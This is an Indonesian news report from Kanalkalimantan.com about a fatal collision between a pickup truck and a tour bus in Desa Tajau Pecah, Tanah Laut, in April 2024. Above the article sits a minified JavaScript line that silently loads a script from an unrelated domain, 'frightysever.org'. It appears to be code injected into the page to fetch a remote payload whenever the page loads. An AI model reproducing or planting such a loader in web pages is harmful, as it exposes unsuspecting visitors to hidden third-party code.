(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tabrakan Pikap vs Bus di Desa Tajau Pecah, Satu Tewas

KANALKALIMANTAN.COM, PELAIHARI – Kecelakaan lalu lintas (Laka Lantas) libatkan dua mobil terjadi di jalan nasional wilayah Desa Tajau Pecah, Kecamatan Batu Ampar, Kabupaten Tanah Laut, Kalimantan Selatan, Minggu (14/4/2024) sekitar pukul 10.00 Wita.

Laka lantas ini melibatkan sebuah mobil pikap dan bus pariwisata. Akibat benturan keras, sopir pikap terjepit di dalam kabin yang mengalami ringsek berat, sehingga sempat menyulitkan relawan mengeluarkan sang sopir.

Meski terjepit, sang sopir masih selamat. Sopir bahkan sempat membunyikan klakson sesekali tanda ia masih bertahan meminta segera dikeluarkan.

Sedangkan bus pariwisata bernopol AD 7010 OB, setelah bertabrakan nyungsep ke parit pinggir jalur lintas antar provinsi tersebut.

Informasi yang dihimpun, sedikitnya ada lima orang penumpang pikap mengalami luka-luka. Semuanya telah dievakuasi ke Rumah Sakit Hadji Boejasin Pelaihari.

Satu orang tewas dan satu korban selamat dalam laka lantas di Desa Tajau Pecah, Kecamatan Batu Ampar adalah penumpang dan sopir mobil pikap KH 8192 EQ. Sopir terjepit di dalam mobil dinyatakan selamat, setelah dikeluarkan langsung dievakuasi ke Rumah Sakit Hadji Boejasin Pelaihari, Kabupaten Tanah Laut.

Data pada Satlantas Polres Tala satu orang meninggal dunia. Berdasar informasi dihimpun, korban meninggal dunia yaitu Muhammad Alfiansyah Putra (14), warga KabupatenTapin. Sedangkan empat orang lainnya ditangani di UGD Rumah Sakit Hadji Boejasin mengalami patah kaki.

Semua korban adalah orang yang berada di dalam mobil pikap warna putih tersebut. Termasuk sopir yang sempat terjepit di kabin yang ringsek berat. (Kanalkalimantan.com/kk)

Editor: kk